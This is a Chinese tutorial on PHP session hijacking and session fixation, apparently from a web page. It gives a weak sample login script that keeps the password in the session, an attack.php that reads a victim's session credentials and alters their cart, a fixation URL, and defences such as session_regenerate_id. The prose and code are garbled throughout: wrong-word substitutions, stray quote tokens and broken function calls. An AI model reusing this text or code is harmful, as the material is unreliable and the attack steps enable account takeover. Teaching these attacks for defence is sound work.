做事端和客户端之间是通过session(会话)来连接沟通。
当客户真个浏览器连接到做事器后,做事器就会建立一个该用户的session。
每个用户的session都是独立的,并且由做事器来掩护。
每个用户的session是由一个独特的字符串来识别,成为session id。
用户发出要求时,所发送的http表头内包含session id 的值。
做事器利用http表头内的session id来识别时哪个用户提交的要求。

session保存的是每个用户的个人数据,一样平常的web运用程序会利用session来保存通过验证的用户账号和密码。
在转换不同的网页时,如果须要验证用户身份,便是用session内所保存的账号和密码来比较。
session的生命周期从用户连上做事器后开始,在用户关掉浏览器或是注销时用户session_destroy函数删除session数据时结束。
如果用户在20分钟内没有利用打算机的动作,session也会自动结束。

php处理session的运用架构

php劫持PHP破绽之Session劫持 RESTful API

会话挟制

会话挟制是指攻击者利用各种手段来获取目标用户的session id。
一旦获取到session id,那么攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。

攻击者获取目标用户session id的方法:

1)暴力破解:考试测验各种session id,直到破解为止。

2)打算:如果session id利用非随机的办法产生,那么就有可能打算出来

3)盗取:利用网络截获,xss攻击等方法得到

会话挟制的攻击步骤

实例

session_start();

if (isset($_POST[\"大众login\"大众]))

{

$link = mysql_connect(\"大众localhost\公众, \"大众root\"大众, \"大众root\"大众)

or die(\"大众无法建立MySQL数据库连接:\"大众 . mysql_error());

mysql_select_db(\"大众cms\"大众) or die(\"大众无法选择MySQL数据库\"大众);

if (!get_magic_quotes_gpc())

{

$query = \"大众select from member where username=’\"大众 . addslashes($_POST[\"大众username\公众]) .

\"大众’ and password=’\"大众 . addslashes($_POST[\"大众password\"大众]) . \"大众’\"大众;

}

else

{

$query = \"大众select from member where username=’\公众 . $_POST[\"大众username\公众] .

\"大众’ and password=’\公众 . $_POST[\"大众password\"大众] . \"大众’\"大众;

}

$result = mysql_query($query)

or die(\公众实行MySQL查询语句失落败:\"大众 . mysql_error());

$match_count = mysql_num_rows($result);

if ($match_count)

{

$_SESSION[\公众username\公众] = $_POST[\"大众username\公众];

$_SESSION[\"大众password\公众] = $_POST[\"大众password\"大众];

$_SESSION[\公众book\"大众] = 1;

mysql_free_result($result);

mysql_close($link);

header(\"大众Location: http://localhost/index.php?user=\公众 .

$_POST[\"大众username\"大众]);

}

session_start();

访客的 Session ID 是:echo session_id(); ?>

访客:echo htmlspecialchars($_GET[\"大众user\"大众], ENT_QUOTES); ?>

book商品的数量:echo htmlspecialchars($_SESSION[\公众book\公众], ENT_QUOTES); ?>

如果登录成功,利用

$_SESSION[\公众username\公众] 保存账号

$_SESSION[\"大众password\公众] 保存密码

#_SESSION[\"大众book\"大众] 保存购买商品数目

登录往后显示

开始攻击

//attack.php

php

// 打开Session

session_start();

echo \"大众目标用户的Session ID是:\公众 . session_id() . \"大众<br />\"大众;

echo \公众目标用户的username是:\"大众 . $_SESSION[\"大众username\公众] . \"大众<br />\"大众;

echo \"大众目标用户的password是:\公众 . $_SESSION[\"大众password\"大众] . \"大众<br />\"大众;

// 将book的数量设置为2000

$_SESSION[\"大众book\"大众] = 2000;

?>

提交 http://localhost/attack.php?PHPSESSID=5a6kqe7cufhstuhcmhgr9nsg45 此ID为获取到的客户session id,刷新客户页面往后

客户购买的商品变成了2000

session固定攻击

黑客可以利用把session id发给用户的办法,来完成攻击

http://localhost/index.php?user=dodo&PHPSESSID=1234 把此链接发送给dodo这个用户显示

然落后击者再访问 http://localhost/attack.php?PHPSESSID=1234 后,客户页面刷新,创造

商品数量已经成了2000

戒备方法

1)定期变动session id

函数 bool session_regenerate_id([bool delete_old_session])

delete_old_session为true,则删除旧的session文件;为false,则保留旧的session,默认false,可选

在index.php开头加上

session_start();

session_regenerate_id(TRUE);

……

这样每次重新加载都会产生一个新的session id

2)变动session的名称

session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包剖析,就不能猜到这个名称,阻挡部分攻击

session_start();

session_name(\公众mysessionid\"大众);

……

3)关闭透明化session id

透明化session id指当浏览器中的http要求没有利用cookies来制订session id时,sessioin id利用链接来通报;打开php.ini,编辑

session.use_trans_sid = 0

代码

int_set(\公众session.use_trans_sid\"大众, 0);

session_start();

……

4)只从cookie检讨session id

session.use_cookies = 1 表示利用cookies存放session id

session.use_only_cookies = 1 表示只利用cookies存放session id,这可以避免session固定攻击

代码中

int_set(\公众session.use_cookies\"大众, 1);

int_set(\公众session.use_only_cookies\公众, 1); p>

5)利用URL通报隐蔽参数

session_start();

$seid = md5(uniqid(rand()), TRUE));

$_SESSION[\公众seid\公众] = $seid;

攻击者虽然能获取session数据,但是无法得知$seid的值,只要检讨seid的值,就可以确认当前页面是否是web程序自己调用的。